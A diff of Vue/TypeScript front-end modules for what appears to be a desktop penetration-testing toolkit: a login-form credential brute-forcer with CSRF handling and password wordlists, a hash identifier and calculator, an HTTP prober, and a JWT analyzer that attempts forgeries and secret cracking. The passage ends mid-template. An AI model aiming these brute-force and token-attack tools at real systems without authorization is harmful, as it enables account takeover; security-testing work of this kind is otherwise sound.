.grp-classic { border-left: 2px solid #ff2f4a; }
.grp-jwt { border-left: 2px solid #ffb000; }
.toast { position: absolute; bottom: 20px; left: 50%; transform: translateX(-50%); padding: 4px 12px; background: var(--valid); color: #000; font-size: 11px; letter-spacing: 0.1em; text-transform: uppercase; animation: toast 1s ease-out; pointer-events: none; z-index: 10; }
@keyframes toast {
0% { opacity: 0; transform: translate(-50%, 10px); }
20%,80% { opacity: 1; transform: translate(-50%, 0); }
100% { opacity: 0; transform: translate(-50%, -10px); }
}
@media (max-width: 640px) {
.io-split { grid-template-columns: 1fr; }
}
</style>

View File

@@ -0,0 +1,253 @@
<script setup lang="ts">
import { onMounted, onUnmounted, ref } from "vue";
import { invoke } from "@tauri-apps/api/core";
import { listen, type UnlistenFn } from "@tauri-apps/api/event";
import Terminal from "../Terminal.vue";
import Prompt from "../Prompt.vue";
import { useTerminal } from "../../composables/useTerminal";
interface Hit {
user: string;
pass: string;
status: number;
size: number;
redirect?: string;
reason: string;
time_ms: number;
}
const url = ref("https://target.com/login.php");
const method = ref("POST");
const bodyTemplate = ref("username={USER}&password={PASS}");
const headersRaw = ref("");
const users = ref("admin\nroot\nuser\ntest");
const passwords = ref("");
const mode = ref("clusterbomb");
const primeUrl = ref("");
const csrfRegex = ref("");
const successRegex = ref("");
const failRegex = ref("(?i)(invalid|wrong|incorrect|failed|error)");
const successStatusStr = ref("302");
const sizeDelta = ref<number | null>(null);
const concurrency = ref(5);
const timeoutMs = ref(10000);
const followRedirects = ref(false);
const stopOnFirst = ref(true);
const running = ref(false);
const progress = ref({ done: 0, total: 0 });
const hits = ref<Hit[]>([]);
const log = useTerminal();
const unlistens: UnlistenFn[] = [];
async function loadCommonPass() {
try {
const list: string[] = await invoke("form_brute_common_passwords");
passwords.value = list.join("\n");
} catch {}
}
function parseHeaders(): Record<string, string> {
const out: Record<string, string> = {};
for (const line of headersRaw.value.split("\n")) {
const i = line.indexOf(":");
if (i === -1) continue;
const k = line.slice(0, i).trim();
const v = line.slice(i + 1).trim();
if (k) out[k] = v;
}
return out;
}
async function run() {
if (running.value) return;
running.value = true;
hits.value = [];
progress.value = { done: 0, total: 0 };
log.clear();
const us = users.value.split(/[\s\n,]+/).map(s => s.trim()).filter(Boolean);
const ps = passwords.value.split(/\n/).map(s => s.trim()).filter(Boolean);
const statuses = successStatusStr.value.split(/[,\s]+/).map(s => parseInt(s, 10)).filter(n => !isNaN(n));
const total = mode.value === "pitchfork" ? Math.min(us.length, ps.length) : us.length * ps.length;
log.info(`target: ${method.value} ${url.value}`);
log.info(`${us.length} users × ${ps.length} passwords = ${total} attempts (${mode.value})`);
unlistens.push(await listen<string>("brute:status", (e) => log.dim(String(e.payload))));
unlistens.push(await listen<{ done: number; total: number }>("brute:progress", (e) => { progress.value = e.payload; }));
unlistens.push(await listen<Hit>("brute:hit", (e) => {
const h = e.payload;
hits.value.push(h);
log.hit(`[VALID] ${h.user}:${h.pass} status=${h.status} size=${h.size}b reason: ${h.reason}`);
}));
try {
await invoke("form_brute_run", {
req: {
url: url.value,
method: method.value,
body_template: bodyTemplate.value,
headers: parseHeaders(),
users: us,
passwords: ps,
mode: mode.value,
prime_url: primeUrl.value || null,
csrf_regex: csrfRegex.value || null,
csrf_field: "{CSRF}",
success_regex: successRegex.value || null,
fail_regex: failRegex.value || null,
success_status: statuses.length ? statuses : null,
size_delta_threshold: sizeDelta.value,
concurrency: concurrency.value,
timeout_ms: timeoutMs.value,
follow_redirects: followRedirects.value,
stop_on_first: stopOnFirst.value,
},
});
log.ok(`brute done: ${hits.value.length} valid cred(s)`);
} catch (e: any) {
log.err(String(e));
} finally {
running.value = false;
cleanup();
}
}
function cleanup() { while (unlistens.length) { const u = unlistens.pop(); if (u) u(); } }
onMounted(loadCommonPass);
onUnmounted(cleanup);
</script>
<template>
<div class="module">
<div class="form">
<div class="row">
<select v-model="method" class="method-sel">
<option>POST</option>
<option>GET</option>
<option>PUT</option>
</select>
<input v-model="url" class="url-input" placeholder="https://target.com/login" spellcheck="false" />
</div>
<label class="ta">
<span class="lbl">body template use <code>{{ "{USER}" }}</code> <code>{{ "{PASS}" }}</code> <code>{{ "{CSRF}" }}</code></span>
<textarea class="term-input" v-model="bodyTemplate" rows="2" spellcheck="false" placeholder="username={USER}&password={PASS}&_token={CSRF}" />
</label>
<details class="adv">
<summary>wordlists · {{ users.split(/\s+/).filter(Boolean).length }} users × {{ passwords.split(/\n/).filter(Boolean).length }} passwords</summary>
<div class="two-col">
<label class="ta">
<span class="lbl">users</span>
<textarea class="term-input" v-model="users" rows="5" spellcheck="false" />
</label>
<label class="ta">
<span class="lbl">passwords</span>
<textarea class="term-input" v-model="passwords" rows="5" spellcheck="false" />
</label>
</div>
<div class="row">
<label class="toggle"><input type="radio" value="clusterbomb" v-model="mode" /><span>clusterbomb (all × all)</span></label>
<label class="toggle"><input type="radio" value="pitchfork" v-model="mode" /><span>pitchfork (parallel)</span></label>
</div>
</details>
<details class="adv">
<summary>detection rules</summary>
<label class="ta"><span class="lbl">success regex (match = valid)</span>
<input class="inp" v-model="successRegex" placeholder='(?i)(welcome|dashboard|logout|my-account)' /></label>
<label class="ta"><span class="lbl">fail regex (no match = valid) <span class="hint">used if success regex empty/no-match</span></span>
<input class="inp" v-model="failRegex" placeholder='(?i)(invalid|wrong|incorrect)' /></label>
<div class="row">
<label class="mini wide"><span>success-status</span><input v-model="successStatusStr" placeholder="302" /></label>
<label class="mini"><span>size-delta</span><input v-model.number="sizeDelta" type="number" placeholder="off" /></label>
</div>
</details>
<details class="adv">
<summary>csrf + headers</summary>
<Prompt label="prime url" v-model="primeUrl" placeholder="https://target.com/login (GET first)" />
<label class="ta"><span class="lbl">csrf regex capture group 1</span>
<input class="inp" v-model="csrfRegex" placeholder='name="_token"\s+value="([^"]+)"' /></label>
<label class="ta"><span class="lbl">extra headers (Key: Value per line)</span>
<textarea class="term-input" v-model="headersRaw" rows="3" spellcheck="false" placeholder="Referer: https://target.com/login&#10;X-Requested-With: XMLHttpRequest" /></label>
</details>
<div class="row">
<label class="toggle"><input type="checkbox" v-model="stopOnFirst" /><span>stop on first</span></label>
<label class="toggle"><input type="checkbox" v-model="followRedirects" /><span>follow</span></label>
<label class="mini"><span>conc</span><input v-model.number="concurrency" type="number" min="1" max="50" /></label>
<label class="mini"><span>t/out</span><input v-model.number="timeoutMs" type="number" min="1000" max="60000" /></label>
</div>
<div class="row">
<button class="exec" :disabled="running" @click="run">{{ running ? "[ bruting... ]" : "> brute" }}</button>
</div>
<div v-if="progress.total" class="bar">
<div class="bar-fill" :style="{ width: (progress.done / progress.total) * 100 + '%' }" />
<span class="bar-text">{{ progress.done }} / {{ progress.total }}</span>
</div>
</div>
<Terminal :lines="log.lines.value" title="form-brute // credential attack" @clear="log.clear()" />
</div>
</template>
<style scoped>
.adv { border: 1px solid var(--border); background: var(--bg-panel); padding: 4px 8px; }
.adv summary { cursor: pointer; font-size: 10px; color: var(--fg-dim); text-transform: uppercase; letter-spacing: 0.1em; padding: 2px 0; }
.adv summary:hover { color: var(--fg); }
.adv > *:not(summary) { margin-top: 6px; }
.method-sel {
background: var(--bg-panel);
border: 1px solid var(--alert);
color: var(--alert);
padding: 4px 8px;
font-weight: 700;
font-size: 12px;
font-family: inherit;
}
.method-sel option { background: var(--bg); color: var(--fg); }
.url-input {
flex: 1;
background: var(--bg-panel);
border: 1px solid var(--border);
color: var(--fg);
padding: 4px 8px;
font-size: 12px;
}
.url-input:focus { border-color: var(--accent); outline: none; }
.inp {
background: var(--bg-panel);
border: 1px solid var(--border);
color: var(--fg);
padding: 4px 8px;
font-size: 12px;
font-family: inherit;
width: 100%;
}
.inp:focus { border-color: var(--info); outline: none; }
.two-col {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 6px;
}
code {
color: var(--info);
background: var(--bg);
padding: 0 4px;
border: 1px solid var(--border);
font-size: 10px;
}
.hint { color: var(--fg-ghost); font-size: 9px; text-transform: none; font-style: italic; }
@media (max-width: 640px) {
.two-col { grid-template-columns: 1fr; }
}
</style>

View File

@@ -0,0 +1,281 @@
<script setup lang="ts">
import { computed, ref } from "vue";
const input = ref("");
const calcText = ref("");
interface Signature { name: string; pattern: RegExp; example?: string; }
const SIGNATURES: Signature[] = [
{ name: "MD5", pattern: /^[a-f0-9]{32}$/i, example: "5f4dcc3b5aa765d61d8327deb882cf99" },
{ name: "NTLM", pattern: /^[A-F0-9]{32}$/, example: "b4b9b02e6f09a9bd760f388b67351e2b" },
{ name: "SHA-1", pattern: /^[a-f0-9]{40}$/i, example: "356a192b7913b04c54574d18c28d46e6395428ab" },
{ name: "MySQL 4.1+ (SHA1x2)", pattern: /^\*[A-F0-9]{40}$/, example: "*6691484EA6B50DDDE1926A220DA01FA9E575C18A" },
{ name: "RIPEMD-160", pattern: /^[a-f0-9]{40}$/i },
{ name: "SHA-224", pattern: /^[a-f0-9]{56}$/i },
{ name: "SHA-256", pattern: /^[a-f0-9]{64}$/i, example: "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" },
{ name: "SHA-384", pattern: /^[a-f0-9]{96}$/i },
{ name: "SHA-512", pattern: /^[a-f0-9]{128}$/i },
{ name: "bcrypt", pattern: /^\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}$/, example: "$2a$12$R9h/cIPz0gi.URNNX3kh2OPST9/PgBkqquzi.Ss7KIUgO2t0jWMUW" },
{ name: "scrypt", pattern: /^\$scrypt\$/ },
{ name: "argon2id", pattern: /^\$argon2id?\$/, example: "$argon2id$v=19$m=65536,t=3,p=4$..." },
{ name: "PBKDF2-SHA1", pattern: /^pbkdf2-sha1\$/ },
{ name: "MD5 Crypt (old unix)",pattern: /^\$1\$/, example: "$1$salt$..." },
{ name: "SHA-256 Crypt", pattern: /^\$5\$/, example: "$5$salt$..." },
{ name: "SHA-512 Crypt", pattern: /^\$6\$/, example: "$6$salt$..." },
{ name: "WordPress (PHPass)", pattern: /^\$P\$[./A-Za-z0-9]{31}$/, example: "$P$BPMg6qGb..." },
{ name: "PhpBB3 (PHPass)", pattern: /^\$H\$[./A-Za-z0-9]{31}$/ },
{ name: "Django PBKDF2", pattern: /^pbkdf2_sha256\$/ },
{ name: "Django SHA1", pattern: /^sha1\$[^$]+\$[a-f0-9]{40}$/i },
{ name: "LM Hash", pattern: /^[A-F0-9]{32}$/, example: "aad3b435b51404eeaad3b435b51404ee" },
{ name: "NetNTLMv2", pattern: /^[^:]+::[^:]*:[A-F0-9]{16}:[A-F0-9]{32}:.+$/ },
{ name: "Cisco Type 7", pattern: /^[0-9]{2}[A-F0-9]+$/i },
{ name: "Cisco IOS $9$", pattern: /^\$9\$/ },
{ name: "CRC32", pattern: /^[a-f0-9]{8}$/i },
{ name: "MySQL 3.23 (old)", pattern: /^[a-f0-9]{16}$/i },
{ name: "JWT", pattern: /^eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]*$/ },
];
const identified = computed(() => {
const s = input.value.trim();
if (!s) return [] as Signature[];
return SIGNATURES.filter(sig => sig.pattern.test(s));
});
const hashes = ref<Record<string, string>>({});
async function compute() {
const text = calcText.value;
if (!text) { hashes.value = {}; return; }
const buf = new TextEncoder().encode(text);
const algos: [string, AlgorithmIdentifier][] = [
["SHA-1", "SHA-1"],
["SHA-256", "SHA-256"],
["SHA-384", "SHA-384"],
["SHA-512", "SHA-512"],
];
const out: Record<string, string> = {};
out.MD5 = md5(text);
out.CRC32 = crc32(text).toString(16).padStart(8, "0");
for (const [name, algo] of algos) {
const digest = await crypto.subtle.digest(algo, buf);
out[name] = Array.from(new Uint8Array(digest)).map(b => b.toString(16).padStart(2, "0")).join("");
}
hashes.value = out;
}
// ---------- MD5 (pure JS) ----------
function md5(str: string): string {
function rotateLeft(lValue: number, iShiftBits: number) { return (lValue << iShiftBits) | (lValue >>> (32 - iShiftBits)); }
function addUnsigned(lX: number, lY: number) {
const lX8 = (lX & 0x80000000), lY8 = (lY & 0x80000000);
const lX4 = (lX & 0x40000000), lY4 = (lY & 0x40000000);
const lResult = (lX & 0x3FFFFFFF) + (lY & 0x3FFFFFFF);
if (lX4 & lY4) return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
if (lX4 | lY4) {
if (lResult & 0x40000000) return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
}
return (lResult ^ lX8 ^ lY8);
}
function F(x: number, y: number, z: number) { return (x & y) | ((~x) & z); }
function G(x: number, y: number, z: number) { return (x & z) | (y & (~z)); }
function H(x: number, y: number, z: number) { return x ^ y ^ z; }
function I(x: number, y: number, z: number) { return y ^ (x | (~z)); }
function FF(a: number, b: number, c: number, d: number, x: number, s: number, ac: number) {
a = addUnsigned(a, addUnsigned(addUnsigned(F(b, c, d), x), ac));
return addUnsigned(rotateLeft(a, s), b);
}
function GG(a: number, b: number, c: number, d: number, x: number, s: number, ac: number) {
a = addUnsigned(a, addUnsigned(addUnsigned(G(b, c, d), x), ac));
return addUnsigned(rotateLeft(a, s), b);
}
function HH(a: number, b: number, c: number, d: number, x: number, s: number, ac: number) {
a = addUnsigned(a, addUnsigned(addUnsigned(H(b, c, d), x), ac));
return addUnsigned(rotateLeft(a, s), b);
}
function II(a: number, b: number, c: number, d: number, x: number, s: number, ac: number) {
a = addUnsigned(a, addUnsigned(addUnsigned(I(b, c, d), x), ac));
return addUnsigned(rotateLeft(a, s), b);
}
function convertToWordArray(s: string) {
let lWordCount;
const lMessageLength = s.length;
const lNumberOfWords_temp1 = lMessageLength + 8;
const lNumberOfWords_temp2 = (lNumberOfWords_temp1 - (lNumberOfWords_temp1 % 64)) / 64;
const lNumberOfWords = (lNumberOfWords_temp2 + 1) * 16;
const lWordArray = new Array(lNumberOfWords - 1);
let lBytePosition = 0, lByteCount = 0;
while (lByteCount < lMessageLength) {
lWordCount = (lByteCount - (lByteCount % 4)) / 4;
lBytePosition = (lByteCount % 4) * 8;
lWordArray[lWordCount] = (lWordArray[lWordCount] | (s.charCodeAt(lByteCount) << lBytePosition));
lByteCount++;
}
lWordCount = (lByteCount - (lByteCount % 4)) / 4;
lBytePosition = (lByteCount % 4) * 8;
lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80 << lBytePosition);
lWordArray[lNumberOfWords - 2] = lMessageLength << 3;
lWordArray[lNumberOfWords - 1] = lMessageLength >>> 29;
return lWordArray;
}
function wordToHex(lValue: number) {
let wordToHexValue = "", wordToHexValue_temp = "", lByte;
for (let lCount = 0; lCount <= 3; lCount++) {
lByte = (lValue >>> (lCount * 8)) & 255;
wordToHexValue_temp = "0" + lByte.toString(16);
wordToHexValue = wordToHexValue + wordToHexValue_temp.substr(wordToHexValue_temp.length - 2, 2);
}
return wordToHexValue;
}
function utf8Encode(s: string) { return unescape(encodeURIComponent(s)); }
const x = convertToWordArray(utf8Encode(str));
let a = 0x67452301, b = 0xEFCDAB89, c = 0x98BADCFE, d = 0x10325476;
const S11 = 7, S12 = 12, S13 = 17, S14 = 22;
const S21 = 5, S22 = 9, S23 = 14, S24 = 20;
const S31 = 4, S32 = 11, S33 = 16, S34 = 23;
const S41 = 6, S42 = 10, S43 = 15, S44 = 21;
for (let k = 0; k < x.length; k += 16) {
const AA = a, BB = b, CC = c, DD = d;
a = FF(a, b, c, d, x[k + 0], S11, 0xD76AA478);
d = FF(d, a, b, c, x[k + 1], S12, 0xE8C7B756);
c = FF(c, d, a, b, x[k + 2], S13, 0x242070DB);
b = FF(b, c, d, a, x[k + 3], S14, 0xC1BDCEEE);
a = FF(a, b, c, d, x[k + 4], S11, 0xF57C0FAF);
d = FF(d, a, b, c, x[k + 5], S12, 0x4787C62A);
c = FF(c, d, a, b, x[k + 6], S13, 0xA8304613);
b = FF(b, c, d, a, x[k + 7], S14, 0xFD469501);
a = FF(a, b, c, d, x[k + 8], S11, 0x698098D8);
d = FF(d, a, b, c, x[k + 9], S12, 0x8B44F7AF);
c = FF(c, d, a, b, x[k + 10], S13, 0xFFFF5BB1);
b = FF(b, c, d, a, x[k + 11], S14, 0x895CD7BE);
a = FF(a, b, c, d, x[k + 12], S11, 0x6B901122);
d = FF(d, a, b, c, x[k + 13], S12, 0xFD987193);
c = FF(c, d, a, b, x[k + 14], S13, 0xA679438E);
b = FF(b, c, d, a, x[k + 15], S14, 0x49B40821);
a = GG(a, b, c, d, x[k + 1], S21, 0xF61E2562);
d = GG(d, a, b, c, x[k + 6], S22, 0xC040B340);
c = GG(c, d, a, b, x[k + 11], S23, 0x265E5A51);
b = GG(b, c, d, a, x[k + 0], S24, 0xE9B6C7AA);
a = GG(a, b, c, d, x[k + 5], S21, 0xD62F105D);
d = GG(d, a, b, c, x[k + 10], S22, 0x2441453);
c = GG(c, d, a, b, x[k + 15], S23, 0xD8A1E681);
b = GG(b, c, d, a, x[k + 4], S24, 0xE7D3FBC8);
a = GG(a, b, c, d, x[k + 9], S21, 0x21E1CDE6);
d = GG(d, a, b, c, x[k + 14], S22, 0xC33707D6);
c = GG(c, d, a, b, x[k + 3], S23, 0xF4D50D87);
b = GG(b, c, d, a, x[k + 8], S24, 0x455A14ED);
a = GG(a, b, c, d, x[k + 13], S21, 0xA9E3E905);
d = GG(d, a, b, c, x[k + 2], S22, 0xFCEFA3F8);
c = GG(c, d, a, b, x[k + 7], S23, 0x676F02D9);
b = GG(b, c, d, a, x[k + 12], S24, 0x8D2A4C8A);
a = HH(a, b, c, d, x[k + 5], S31, 0xFFFA3942);
d = HH(d, a, b, c, x[k + 8], S32, 0x8771F681);
c = HH(c, d, a, b, x[k + 11], S33, 0x6D9D6122);
b = HH(b, c, d, a, x[k + 14], S34, 0xFDE5380C);
a = HH(a, b, c, d, x[k + 1], S31, 0xA4BEEA44);
d = HH(d, a, b, c, x[k + 4], S32, 0x4BDECFA9);
c = HH(c, d, a, b, x[k + 7], S33, 0xF6BB4B60);
b = HH(b, c, d, a, x[k + 10], S34, 0xBEBFBC70);
a = HH(a, b, c, d, x[k + 13], S31, 0x289B7EC6);
d = HH(d, a, b, c, x[k + 0], S32, 0xEAA127FA);
c = HH(c, d, a, b, x[k + 3], S33, 0xD4EF3085);
b = HH(b, c, d, a, x[k + 6], S34, 0x4881D05);
a = HH(a, b, c, d, x[k + 9], S31, 0xD9D4D039);
d = HH(d, a, b, c, x[k + 12], S32, 0xE6DB99E5);
c = HH(c, d, a, b, x[k + 15], S33, 0x1FA27CF8);
b = HH(b, c, d, a, x[k + 2], S34, 0xC4AC5665);
a = II(a, b, c, d, x[k + 0], S41, 0xF4292244);
d = II(d, a, b, c, x[k + 7], S42, 0x432AFF97);
c = II(c, d, a, b, x[k + 14], S43, 0xAB9423A7);
b = II(b, c, d, a, x[k + 5], S44, 0xFC93A039);
a = II(a, b, c, d, x[k + 12], S41, 0x655B59C3);
d = II(d, a, b, c, x[k + 3], S42, 0x8F0CCC92);
c = II(c, d, a, b, x[k + 10], S43, 0xFFEFF47D);
b = II(b, c, d, a, x[k + 1], S44, 0x85845DD1);
a = II(a, b, c, d, x[k + 8], S41, 0x6FA87E4F);
d = II(d, a, b, c, x[k + 15], S42, 0xFE2CE6E0);
c = II(c, d, a, b, x[k + 6], S43, 0xA3014314);
b = II(b, c, d, a, x[k + 13], S44, 0x4E0811A1);
a = II(a, b, c, d, x[k + 4], S41, 0xF7537E82);
d = II(d, a, b, c, x[k + 11], S42, 0xBD3AF235);
c = II(c, d, a, b, x[k + 2], S43, 0x2AD7D2BB);
b = II(b, c, d, a, x[k + 9], S44, 0xEB86D391);
a = addUnsigned(a, AA);
b = addUnsigned(b, BB);
c = addUnsigned(c, CC);
d = addUnsigned(d, DD);
}
return (wordToHex(a) + wordToHex(b) + wordToHex(c) + wordToHex(d)).toLowerCase();
}
function crc32(str: string): number {
let c;
const table = [] as number[];
for (let n = 0; n < 256; n++) {
c = n;
for (let k = 0; k < 8; k++) c = c & 1 ? 0xEDB88320 ^ (c >>> 1) : c >>> 1;
table[n] = c;
}
let crc = 0 ^ (-1);
for (let i = 0; i < str.length; i++) crc = (crc >>> 8) ^ table[(crc ^ str.charCodeAt(i)) & 0xFF];
return (crc ^ (-1)) >>> 0;
}
async function copy(t: string) {
try { await navigator.clipboard.writeText(t); } catch {}
}
</script>
<template>
<div class="module">
<section class="pane">
<div class="pane-head">HASH IDENTIFIER</div>
<label class="ta">
<span class="lbl">hash to identify</span>
<textarea class="term-input" v-model="input" rows="2" spellcheck="false" placeholder="paste hash or JWT..." />
</label>
<div v-if="input.trim()" class="matches">
<div v-if="!identified.length" class="no-match"> no signatures match</div>
<div v-else>
<div v-for="s in identified" :key="s.name" class="match">
<span class="m-name">{{ s.name }}</span>
<code class="m-pat">{{ s.pattern }}</code>
</div>
</div>
</div>
</section>
<section class="pane">
<div class="pane-head">HASH CALCULATOR</div>
<label class="ta">
<span class="lbl">input</span>
<textarea class="term-input" v-model="calcText" rows="2" spellcheck="false" @input="compute" placeholder="type to auto-hash..." />
</label>
<div v-if="Object.keys(hashes).length" class="hash-list">
<div v-for="(v, k) in hashes" :key="k" class="h-row">
<span class="h-k">{{ k }}</span>
<code class="h-v">{{ v }}</code>
<button class="btn-ghost tiny" @click="copy(v)">copy</button>
</div>
</div>
</section>
</div>
</template>
<style scoped>
.pane { background: var(--bg-panel); border: 1px solid var(--border); padding: 8px; display: flex; flex-direction: column; gap: 6px; }
.pane-head { font-size: 10px; color: var(--alert); font-weight: 700; text-transform: uppercase; letter-spacing: 0.2em; border-bottom: 1px solid var(--border); padding-bottom: 3px; }
.matches { display: flex; flex-direction: column; gap: 3px; }
.no-match { color: var(--fg-ghost); font-size: 11px; font-style: italic; padding: 4px; }
.match { display: flex; gap: 8px; padding: 3px 6px; background: var(--bg); border-left: 2px solid var(--valid); align-items: center; }
.m-name { color: var(--valid); font-weight: 700; font-size: 11px; min-width: 160px; }
.m-pat { color: var(--fg-dim); font-size: 9px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; flex: 1; min-width: 0; background: transparent; border: none; padding: 0; }
.hash-list { display: flex; flex-direction: column; gap: 3px; }
.h-row { display: flex; gap: 6px; align-items: center; font-size: 10px; padding: 2px 0; }
.h-k { color: var(--fg-dim); text-transform: uppercase; letter-spacing: 0.1em; min-width: 70px; font-size: 9px; flex-shrink: 0; }
.h-v { color: var(--valid); word-break: break-all; flex: 1; background: var(--bg); border: 1px solid var(--border); padding: 2px 5px; font-size: 10px; min-width: 0; }
.btn-ghost.tiny { padding: 1px 6px; font-size: 9px; flex-shrink: 0; }
</style>

View File

@@ -0,0 +1,159 @@
<script setup lang="ts">
import { onUnmounted, ref } from "vue";
import { invoke } from "@tauri-apps/api/core";
import { listen, type UnlistenFn } from "@tauri-apps/api/event";
import Terminal from "../Terminal.vue";
import { useTerminal } from "../../composables/useTerminal";
const targets = ref("example.com\nscanme.nmap.org");
const ports = ref("80,443,8080,8443");
const concurrency = ref(50);
const timeoutMs = ref(5000);
const follow = ref(true);
const running = ref(false);
const progress = ref({ done: 0, total: 0 });
const log = useTerminal();
const unlistens: UnlistenFn[] = [];
function statusColor(s: number): "valid" | "ok" | "warn" | "err" {
if (s >= 200 && s < 300) return "valid";
if (s >= 300 && s < 400) return "ok";
if (s >= 400 && s < 500) return "warn";
return "err";
}
async function run() {
if (running.value) return;
running.value = true;
log.clear();
progress.value = { done: 0, total: 0 };
const tgts = targets.value.split(/[\s,\n]+/).map((s) => s.trim()).filter(Boolean);
const pts = ports.value.split(/[\s,]+/).map((s) => parseInt(s, 10)).filter((n) => !isNaN(n));
log.info(`targets: ${tgts.length} | ports: ${pts.join(",")} | conc: ${concurrency.value}`);
unlistens.push(
await listen<{ done: number; total: number }>("httpx:progress", (e) => {
progress.value = e.payload;
})
);
unlistens.push(
await listen<{
url: string;
status: number;
title: string | null;
server: string | null;
tech: string[];
}>("httpx:hit", (e) => {
const p = e.payload;
const lvl = statusColor(p.status);
const parts = [
`${p.status}`.padEnd(4),
p.url.padEnd(40),
p.title ? `"${p.title.slice(0, 40)}"` : "",
p.server ? `[${p.server}]` : "",
p.tech.length ? `{${p.tech.join(",")}}` : "",
].filter(Boolean).join(" ");
(log as any)[lvl](parts);
})
);
try {
const res: unknown[] = await invoke("http_probe", {
req: {
targets: tgts,
ports: pts,
concurrency: concurrency.value,
timeout_ms: timeoutMs.value,
follow_redirects: follow.value,
},
});
log.ok(`probe complete: ${res.length} alive`);
} catch (e: any) {
log.err(String(e));
} finally {
running.value = false;
cleanup();
}
}
function cleanup() {
while (unlistens.length) {
const u = unlistens.pop();
if (u) u();
}
}
onUnmounted(cleanup);
</script>
<template>
<div class="module">
<div class="form">
<label class="ta">
<span class="lbl">targets</span>
<textarea v-model="targets" placeholder="one host per line" spellcheck="false" rows="3" />
</label>
<div class="row">
<label class="mini wide">
<span>ports</span>
<input v-model="ports" placeholder="80,443,8080,8443" />
</label>
</div>
<div class="row">
<label class="mini">
<span>conc</span>
<input v-model.number="concurrency" type="number" min="1" max="500" />
</label>
<label class="mini">
<span>t/out</span>
<input v-model.number="timeoutMs" type="number" min="500" max="30000" />
</label>
<label class="toggle">
<input type="checkbox" v-model="follow" />
<span>follow</span>
</label>
</div>
<div class="row">
<button class="exec" :disabled="running" @click="run">
{{ running ? "[ probing... ]" : "> execute" }}
</button>
</div>
<div v-if="progress.total" class="bar">
<div class="bar-fill" :style="{ width: (progress.done / progress.total) * 100 + '%' }" />
<span class="bar-text">{{ progress.done }} / {{ progress.total }}</span>
</div>
</div>
<Terminal :lines="log.lines.value" title="http-probe // output" @clear="log.clear()" />
</div>
</template>
<style scoped>
.module { display: flex; flex-direction: column; gap: 10px; height: 100%; min-height: 0; }
.form { display: flex; flex-direction: column; gap: 6px; }
.row { display: flex; gap: 6px; }
.ta { display: flex; flex-direction: column; }
.lbl { color: var(--fg-dim); font-size: 10px; text-transform: uppercase; letter-spacing: 0.1em; padding: 2px 0; }
textarea { background: var(--bg-panel); border: 1px solid var(--border); color: var(--fg); padding: 6px 8px; resize: vertical; font-family: inherit; font-size: 12px; }
textarea:focus { border-color: var(--accent); }
.mini { display: flex; align-items: center; gap: 4px; border: 1px solid var(--border); padding: 4px 8px; background: var(--bg-panel); }
.mini.wide { flex: 1; }
.mini span { color: var(--fg-dim); font-size: 10px; text-transform: uppercase; letter-spacing: 0.1em; }
.mini input { flex: 1; width: 60px; color: var(--fg); }
.mini.wide input { text-align: left; }
.toggle { display: flex; align-items: center; gap: 6px; border: 1px solid var(--border); padding: 4px 10px; background: var(--bg-panel); color: var(--fg-dim); font-size: 11px; text-transform: uppercase; letter-spacing: 0.1em; cursor: pointer; }
.toggle input { accent-color: var(--accent); }
.toggle:has(input:checked) { color: var(--accent); border-color: var(--accent); }
.exec { flex: 1; border: 1px solid var(--accent); color: var(--accent); padding: 6px 12px; font-weight: 500; transition: all 0.15s; }
.exec:hover:not(:disabled) { background: var(--alert); color: #fff; border-color: var(--alert); box-shadow: 0 0 16px rgba(255, 47, 74, 0.35); }
.exec:disabled { color: var(--fg-dim); border-color: var(--border-hot); cursor: wait; }
.bar { position: relative; height: 14px; background: var(--bg-panel); border: 1px solid var(--border); overflow: hidden; }
.bar-fill { height: 100%; background: linear-gradient(90deg, var(--accent-dim), var(--accent)); transition: width 0.1s linear; }
.bar-text { position: absolute; inset: 0; display: flex; align-items: center; justify-content: center; font-size: 10px; mix-blend-mode: difference; letter-spacing: 0.1em; }
</style>

View File

@@ -0,0 +1,149 @@
<script setup lang="ts">
import { onUnmounted, ref } from "vue";
import { invoke } from "@tauri-apps/api/core";
import { listen, type UnlistenFn } from "@tauri-apps/api/event";
import Terminal from "../Terminal.vue";
import { useTerminal } from "../../composables/useTerminal";
const token = ref("");
const wordlist = ref("");
const running = ref(false);
const result = ref<any>(null);
const progress = ref({ done: 0, total: 0 });
const log = useTerminal();
const unlistens: UnlistenFn[] = [];
async function copy(text: string) {
try { await navigator.clipboard.writeText(text); log.ok("copied to clipboard"); }
catch { log.err("clipboard failed"); }
}
async function run() {
if (running.value) return;
running.value = true;
result.value = null;
log.clear();
const words = wordlist.value.split(/[,\n\s]+/).map(s => s.trim()).filter(Boolean);
unlistens.push(await listen<string>("jwt:status", (e) => log.dim(String(e.payload))));
unlistens.push(await listen<{ done: number; total: number }>("jwt:progress", (e) => { progress.value = e.payload; }));
try {
const res: any = await invoke("jwt_analyze", {
req: { token: token.value, wordlist: words.length ? words : null },
});
result.value = res;
log.info(`alg: ${res.alg}`);
for (const i of res.issues) {
const m = `[${i.severity}] ${i.title} :: ${i.detail}`;
if (i.severity === "CRITICAL" || i.severity === "HIGH") log.hit(m);
else if (i.severity === "MEDIUM") log.warn(m);
else log.dim(m);
}
for (const f of res.forgeries) {
log.ok(`[FORGERY] ${f.attack} :: ${f.description}`);
}
log.ok(`analysis complete: ${res.issues.length} issue(s), ${res.forgeries.length} forgery candidate(s)`);
} catch (e: any) {
log.err(String(e));
} finally { running.value = false; cleanup(); }
}
function cleanup() { while (unlistens.length) { const u = unlistens.pop(); if (u) u(); } }
onUnmounted(cleanup);
</script>
<template>
<div class="module">
<div class="form">
<label class="ta">
<span class="lbl">jwt token</span>
<textarea class="term-input" v-model="token" placeholder="eyJhbGciOi..." spellcheck="false" rows="3" />
</label>
<label class="ta">
<span class="lbl">hmac wordlist (optional, newline/comma separated)</span>
<textarea class="term-input" v-model="wordlist" placeholder="secret&#10;password&#10;jwt_secret" spellcheck="false" rows="2" />
</label>
<div class="row">
<button class="exec" :disabled="running" @click="run">{{ running ? "[ attacking... ]" : "> analyze + attack" }}</button>
</div>
<div v-if="progress.total" class="bar">
